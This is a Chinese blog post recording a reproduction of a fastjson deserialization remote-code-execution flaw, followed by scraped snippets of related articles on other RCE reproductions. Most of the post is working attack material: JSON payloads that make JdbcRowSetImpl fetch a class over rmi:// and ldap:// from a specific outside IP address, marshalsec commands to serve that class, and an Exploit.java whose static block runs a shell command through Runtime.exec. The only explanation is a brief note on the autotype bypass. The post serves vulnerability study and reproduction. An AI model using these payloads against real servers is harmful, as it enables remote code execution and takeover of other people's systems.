fastjson的RCE漏洞复现记录

参考链接:

https://paper.seebug.org/994/
https://www.cnblogs.com/jinqi520/p/11097779.html
https://xz.aliyun.com/t/5680

0x01 漏洞复现 RMi

1. payload:

{"@type":"java.lang.Class",
br/>"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl""@type":"com.sun.rowset.JdbcRowSetImpl",
br/>},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://106.12.201.224:1099/Exploit",
"autoCommit":true
}
}

2. 在×××上执行,启动一个rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "
http://106.12.201.224/#Exploit"

  1. 生成编译***脚本

将下面代码保存为:Exploit.java
然后执行:javac Exploit.java,生成class文件

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

}

0x02 漏洞复现 LDAP

1. payload:

{"@type":"java.lang.Class",
br/>"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
"@type":"com.sun.rowset.JdbcRowSetImpl",
br/>},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://106.12.201.224:1389/Exploit",
"autoCommit":true
}
}

2. 在×××上执行,启动一个rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "
http://106.12.201.224/#Exploit"

  1. 生成编译***脚本
    Exploit.java 中不要导入包

将下面代码保存为:Exploit.java
然后执行:javac Exploit.java,生成class文件

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

}

0x03 漏洞原理

这次绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到map缓存,从而绕过autotype的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkautotype就会抛出异常并中止。

当发送第一次请求时,Class是通过deserializers.findClass加载的,然后Class将JdbcRowSetImpl类加载进map中,然后第二次请求时,就这里就成功找到了JdbcRowSetImpl类,从而绕过检测。

原文地址:https://blog.51cto.com/13770310/2425330

时间: 2024-07-31 00:47:40

fastjson的RCE漏洞复现记录的相关文章

Apache Solr Velocity模板注入RCE漏洞复现

一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过http get操作提出查找请求,并得到XML格式的返回结果. 二.漏洞描述 Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令

CVE-2019-5475:Nexus2 yum插件RCE漏洞复现

0x00 前言 如果有想一起做漏洞复现的小伙伴,欢迎加入我们,公众号内点击联系作者即可 提示:由于某些原因,公众号内部分工具即将移除,如果有需要的请尽快保存 0x01 漏洞概述 最近hackerone才公开了Nexus Repository Manager 2.X漏洞细节,该漏洞默认存在部署权限账号,成功登录后可使用“createrepo”或“mergerepo”自定义配置,可触发远程命令执行漏洞 0x02 影响版本 Nexus Repository Manager OSS <= 2.14.13

Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: https://downloads.joomla.org/,漏洞位于根目录下的configuration.php,由于该CMS对函数过滤不严格,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵.信息泄露等严重风险. 二.漏洞影响版本 Joomla 3.0.0-3.4.6 三.漏洞环境搭建 靶机:win7(使用phpstudy搭建环境)    ip:192.168.

通达OA 任意文件上传+文件包含导致RCE漏洞复现

0X00漏洞简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批.行政办公.日常事务.数据统计分析.即时通讯.移动办公等. 该漏洞被黑产利用,用于投放勒索病毒 该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限. 0X01漏洞影响 V11版.2017版.2016版.2015版.2013增强版.2013版 0X02漏洞原理

Webmin&lt;=1.920 RCE 漏洞复现

0x00 前言 本来前一阵就想复现来着,但是官网的版本已经更新了,直到今天才发现Docker上有环境,才进行了复现 0x01影响版本 Webmin<=1.920 ? 0x02 环境搭建 docker search webmin docker pull piersonjarvis/webmin-samba docker run -d -p 10000:80 piersonjarvis/webmin-samba 访问你的ip:10000即可访问1.920版本的webmin 使用账号密码:root/w

Solr-rce漏洞复现

最近Solr又出了一个RCE漏洞,复现了一下 # coding: utf-8 import requestsimport argparsefrom urllib import parse if __name__ == "__main__":    parser = argparse.ArgumentParser()    parser.add_argument('--url', type=str, help='display an url')    args = parser.pars

聊聊 WordPress 5.1.1 CSRF to RCE 漏洞

作者:LoRexxar'@知道创宇404实验室时间:2019年3月14日 2019年3月13日, RIPS团队公开了一篇关于WordPress 5.1.1的XSS漏洞详情,标题起的很响亮,叫做wordpress csrf to rce, https://blog.ripstech.com/2019/wordpress-csrf-to-rce/ 下面我们就来详细聊聊这个漏洞. 关于WordPress防护 早在2017年10月25号,我曾经写过一篇关于WordPress安全机制的文章. https:

Zimbra无需登录RCE漏洞利用

2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞的利用过程进行复现. 第一步:利用XXE读取配置文件 这里利用了CVE-2019-9670漏洞来读取配置文件,你需要在自己的VPS服务器上放置一个dtd文件,并使该文件能够通过HTTP访问.为了演示,我在GitHub上创建了一个仓库,从GitHub上获取dtd文件. 上图中用红框圈起来的就是zimb

Appweb(CVE-2018-8715)漏洞复现

漏洞背景:Appweb是一个嵌入式HTTP Web服务器,主要的设计思路是安全.这是直接集成到客户的应用和设备,便于开发和部署基于Web的应用程序和设备.它迅速( 每秒处理3500多要求)而紧凑 ,其中包括支持动态网页制作,服务器端嵌入式脚本过程中的CGI ,可加载模块的SSL ,摘要式身份验证,虚拟主机, Apache样式配置,日志记录,单和多线程应用程序.它提供了大量的文档和示例. 漏洞复现:1.访问自己的目标.2.获取用户名,这个就显现出此漏洞的局限性了.靶场里告诉了有一个账户是joshu